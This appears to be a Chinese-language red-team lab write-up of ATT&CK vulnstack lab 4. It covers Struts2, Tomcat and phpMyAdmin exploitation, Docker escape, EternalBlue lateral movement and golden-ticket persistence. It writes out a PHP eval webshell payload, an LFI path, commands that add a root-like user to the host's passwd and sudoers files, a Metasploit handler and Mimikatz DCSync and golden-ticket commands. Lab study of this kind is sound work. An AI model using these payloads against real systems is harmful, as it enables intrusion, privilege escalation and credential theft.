freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

ATT&CK红队评估四
XiLitter 2024-03-16 21:25:30 97579

0x01 打靶目标

获得所有主机包括域控的控制权限。

0x02 靶场环境

web机 :ubuntu 192.168.111.145 192.168.183.128

内网主机:windows 7

0x03 打靶记录

一.外网信息收集

image-20240313154017307

外网有一台机器,接着扫描一下该主机开放的端口

image-20240313154110990

有三个web端口,游览器访问 2001 端口

image-20240313154229836

是一个文件上传的功能点,简单上传一个文件发现没有反应。

只不过 url 出现了 action 后缀的文件

image-20240313154323919

结合之前扫描的结果,可能会存在 struts2 的多版本漏洞。

游览器访问 2002 端口,是一个 tomcat 的初始界面

image-20240313154542978

搜索当前 tomcat 版本,是否存在已知漏洞。搜一下还真有,存在put文件上传漏洞。

接着访问最后一个端口 2003

该端口开放了一个 phpMyAdmin,版本为 4.8.1

image-20240313155046828

该版本存在任意文件上传漏洞。

这三个web服务都有漏洞适合打点。

二.外网打点

1.struts2 漏洞打点

使用工具

1710594839_65f59b1748c0ea34a2a88.png!small?1710594839712

检测存在漏洞,

image-20240313163009686

能够命令执行。

2.tomcat 文件上传漏洞打点

用PUT方式上传一个jsp木马

1710594936_65f59b78c473277d351af.png!small?1710594936982

看似应该上传成功了,游览器访问21.jsp,测试命令。

image-20240313160032150

木马成功上传。

3.phpMyAdmin 远程文件包含打点

使用该路径可以任意文件读取

index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd#/

image-20240313160155946

执行如下sql语句

select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[pass]);?>')?>"

查询记录会写进日志里。这是一个docker的环境,所以不能利用写木马到数据库然后包含 frm 文件。因为 vulhub 是利用站库分离的搭法,这样我们插入木马到某个表中,payload 会保存在数据库系统里,而不是 web 服务器上。

因此利用 session 写入 shell 的方式进行 getshell

储存路径在 tmp目录下的 sess_+phpMyAdmin的cookie值

包含该日志,执行php代码,写入木马

?target=db_sql.php%253f/../../../../../../../../tmp/sess_14afd9352fa03b2c14b10c54b396478e#/

访问该文件,执行代码。

1710594957_65f59b8dc9e2047ddbf77.png!small?1710594958161

三.反弹shell

struts2 能够执行命令之后就可以直接反弹shell

kali开启监听7778端口,执行反弹命令。

image-20240313163809562

回到kali

1710595428_65f59d64b595053b7e417.png!small?1710595429228

反弹成功。

四.docker逃逸

执行 fdisk -l查看硬盘信息

image-20240313164239007

没有输出任何信息,说明当前是容器环境。

运行该命令查看当前容器是否为特权容器

cat /proc/1/status | grep Cap

image-20240313164805006

没有查询出来的值是00000003ffffffff,很遗憾,并不是。换一个容器试试

使用冰蝎连接tomcat上传的jsp马。

image-20240313165453626

查看当前容器是否为特权容器

image-20240313165524132

是特权容器无疑了,那么接下来查看硬盘信息

image-20240313165634297

可以看到这里存在与 Linux 主机之间的挂载,该linux可能是宿主机。

在根目录下新建文件,然后与/dev/sda5进行挂载

mkdir xjy
mount /dev/sda5 xjy/

查看xjy文件夹,输出的信息就是宿主机的硬盘信息。

image-20240313171556744

执行如下命令

perl -le 'print crypt("123456","addedsalt")'

生成123456的hash值。

hash 值为 adrla7IBSfTZQ

执行如下命令添加用户

echo "abc:adrla7IBSfTZQ:1001:1001:User_like_root:/root:/bin/bash" >> /xjy/etc/passwd

创建一个名为abc的用户。

已知该web主机开放了22端口,用我们新建的用户登录。

image-20240313172540315

登录成功。

(选做)免密登录

在我们的kali机上创建2048 bit 的公钥

image-20240314172045572

然后查看 id_rsa.pub的内容

image-20240314172134884

将这些内容复制到web机的 authorized_keys 文件中,没有就创建,注意要有格式。

然后设置权限

openssl规定这些密钥文件必须针对于这个用户开放权限,并可读可写不可执行。

image-20240314172304792

在我们的kali上创建一个config文件

里面设置开启sha1支持的命令

image-20240314172435612

这段配置指定了在连接到指定主机(IP 地址为 192.168.111.146)时,SSH 客户端应该使用的主机密钥算法和公钥算法。具体而言,它告知客户端允许使用 SSH-RSA 算法进行主机密钥验证和公钥身份验证。

最后指定公钥进行远程登录

ssh -i id_rsa ubuntu@192.168.111.146

image-20240314172632643

最后可以免密登录成功。

五.提权

在我们的docker环境里执行如下命令

echo "abc ALL=(ALL:ALL) ALL" >> /xjy/etc/sudoers

因为我们将宿主机的磁盘一起挂载了,默认是root权限,是能够在 sudoers敏感文件里追加我们新建的用户。

image-20240313203326020

将当前用户切换到超级用户下,或切换到指定的用户下,然后以超级用户或其指定切换到的用户身份执行命令,执行完成后,直接退回到当前用户。具体工作过程如下:当用户执行sudo时,系统会主动寻找/etc/sudoers文件,判断该用户是否有执行sudo的权限,确认用户具有可执行sudo的权限后,让用户输入用户自己的密码确认,若密码输入成功,则开始执行sudo后续的命令

我们追加以上命令,表明我们当前的abc用户在执行sudo特权命令的时候就可以输入自己的密码了,就可以达到提权的效果。也可以相当于添加了一个管理员用户。

回到kali中执行 sudo 命令

image-20240313204124688

提权成功。

六.内网信息收集

kali用python开启一个web服务,提供web主机去下载 fscan

image-20240313205147299

然后web靶机使用wget下载扫描器

查看一下当前web主机的网卡信息,存在 183 的内网网段。

使用 fscan 扫描内网存活主机。

image-20240313205847176

内网还存在两台主机,一个130,一个131,都开放了445端口,都检测出可能会存在永恒之蓝漏洞。

该主机为ubuntu,也不存在所谓的域

还是派生到MSF打永恒之蓝吧

七.横向移动

繁琐的步骤不再重复,不过与windows主机设置的监听器不同

use exploit/multi/handler
set payload cmd/unix/reverse_bash
set lhost 0.0.0.0
run

然后再kali执行反弹shell命令。获得了ubuntu 的 shell,暂时不能用MSF的组件,所以执行 sessions -u 3 升级一下会话就可以了。

一般的永恒之蓝打不了,总是出错,试了很多次,然后挂个代理,使用proxychains来启动msfconsole,然后再用永恒之蓝打win7,但是进入不了shell,会超时

image-20240314085510355

此时可以说已经拿到了windows 7 的shell了。

将win7的shell派生到CS

image-20240314090536932

失败了,CS没有反应,很离谱。

那就换个思路吧

加载kiwi模块去读取密码

image-20240314091043094

执行 creds_all 命令,读取到 ntlm 哈希和明文密码了。

image-20240314091155040

接下来开启远程桌面

image-20240314091227506

别看它 timeout了实际上已经打开了,因为通过永恒之蓝拿到的shell是system权限。

客户端挂代理,远程桌面,

image-20240314092248786

登录没有信任关系,离谱。。。

接着用永恒之蓝打域控。

image-20240314104624627

成功,但是进入不了shell交互会话。继续读取域控的密码

image-20240314104826392

开启远程桌面连接域控。

image-20240314104858906

成功连接域控。

用命令行添加用户

image-20240314110629397

image-20240314110645430

成功将aaa用户添加到管理员组。

但是win7还是登录不上,在域控用ipc连接貌似也不行,win7的域账户应该出了问题。

换个方式代理,在msf里面添加代理端口

image-20240314113338665

就能够进入到shell页面

image-20240314113410143

当前是system权限,添加新用户。

image-20240314114318700

成功将 xilitter 用户添加到管理员。

image-20240314114736680

成功远程桌面连接win7主机。因为该用户是管理员,可以操作本主机的任何文件了。

八.权限维持

1.制作黄金票据

如果在域控新添加的用户被检查出来并删除,那么我们就失去对域控制器的控制权,所以我们需要在win7我们新添加的用户中制作黄金票据,能够实现对域控制器的持续访问。

在域控制器使用 klist 命令查看当前登录用户的票据信息。

image-20240314144229601

发现存在 Kerberos 票据,那么该域正在使用Kerberos 进行身份验证。

制作黄金票据,维持对域控制器的控制权。

制作黄金票据需要满足如下条件

1、域名称            
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的

krbtgt是Kerberos中的一个特殊账户,用于存储和管理Ticket Granting Ticket(TGT)。在Kerberos认证系统中,krbtgt账户是一个系统级别的账户,用于生成TGT和使用自己的hash(krbtgt hash)加密TGT,并提供给用户进行身份验证和获取服务票据。那么如果攻击者获取到了这个hash(krbtgt hash),那么就可以任意的伪造TGT了,该特殊账户是在域控制器上的。

还有一点就是该KRBTGT帐户密码[从不更改和直到KRBTGT密码被更改(两次),攻击者可以创建黄金票据。请注意,即使伪造用户更改其密码,创建用于模拟用户的Golden Ticket仍然存在

首先域的名称为 DEMO

image-20240314145011147

上传 Mimikatz 工具获取krbtgt的HTLM-Hash及域SID

lsadump::dcsync /user:krbtgt

image-20240314152522552

用户名为 krbtgt,域ID为

S-1-5-21-979886063-1111900045-1414766810-502

krbtgt 用户的 NTLM HASH 为

7c4ed692473d4b4344c3ba01c5e6cb63

选择任意域用户,为administrator

远程桌面登录win7

首先检查当前是否存在票据,然后执行 kerberos::purge清除票据。

kerberos::golden /admin:administrator /domain:DEMO.COM /sid:S-1-5-21-979886063-1111900045-1414766810-502 /krbtgt:7c4ed692473d4b4344c3ba01c5e6cb63 /ticket:ticket.kirbi

image-20240314154211325

成功生成票据。

将我们生成的票据导入内存中,list查看票据发现已经加载进来了。

image-20240314154328727

接下来就可以执行 dir 来查看域控的磁盘信息了。

image-20240314154806001

达到了权限维持的效果。

# 渗透测试 # 内网渗透 # 靶场实战
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 XiLitter 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
XiLitter LV.4
web小菜鸟的进阶之路
  • 17 文章数
  • 21 关注者
JDBC反序列化漏洞分析
2023-11-10
Spring内存马分析
2023-09-20
结合反序列化注入tomcat内存马
2023-09-07
文章目录